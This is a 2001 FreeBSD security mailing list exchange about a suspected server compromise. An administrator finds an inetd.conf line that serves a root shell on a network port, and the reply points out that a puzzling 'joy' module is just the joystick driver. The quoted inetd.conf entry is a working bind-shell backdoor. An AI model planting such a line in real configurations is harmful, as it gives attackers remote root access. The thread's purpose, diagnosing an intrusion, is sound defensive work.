Date: Thu, 1 Nov 2001 10:26:07 -0500 (EST) From: "Andrew R. Reiter" <arr@watson.org> To: Ralph Huntington <rjh@mohawk.net> Cc: freebsd-security@FreeBSD.ORG Subject: Re: strange inetd.conf entry Message-ID: <Pine.NEB.3.96L.1011101102538.94832A-100000@fledge.watson.org> In-Reply-To: <20011101101825.U79615-100000@mohegan.mohawk.net>
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man 4 joy On Thu, 1 Nov 2001, Ralph Huntington wrote: :I did find this kernel module, but I have no idea what it is. I presume at :this point that the root shell acquired through inetd was for the purpose :of loading this module. Anyone recognize it? Anyone want it for analysis? : :hogan@klink:/etc# ll /usr/bin/joy :-r-xr-xr-x 1 root wheel 100 Jul 4 12:05 /usr/bin/joy : :hogan@klink:/etc# cat /usr/bin/joy :#!/bin/sh :# $FreeBSD: src/sys/modules/joy/joy.sh,v 1.5 1999/08/28 00:47:23 peter Exp $ : :kldload joy : : :hogan@klink:/etc# ll /modules/joy.ko :-r-xr-xr-x 1 root wheel 6755 Jul 4 12:05 /modules/joy.ko : : :On Thu, 1 Nov 2001, Ralph Huntington wrote: : :> I have that sinking feeling. I discovered this line at the end of :> inetd.conf on one of our servers: :> :> dlip stream tcp nowait root /bin/sh sh -i :> :> Looks like a root compromise. Sure enough, telnet'ing to the dlip port :> provides what *looks* like a root shell, but I don't seem to be able to do :> anything with it. Pretty mysterious. :> :> Can anyone offer a clue? Thanks in advance, Ralph :> :> :> :> :> To Unsubscribe: send mail to majordomo@FreeBSD.org :> with "unsubscribe freebsd-security" in the body of the message :> : : :To Unsubscribe: send mail to majordomo@FreeBSD.org :with "unsubscribe freebsd-security" in the body of the message : *-------------................................................. | Andrew R. Reiter | arr@fledge.watson.org | "It requires a very unusual mind | to undertake the analysis of the obvious" -- A.N. Whitehead To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message
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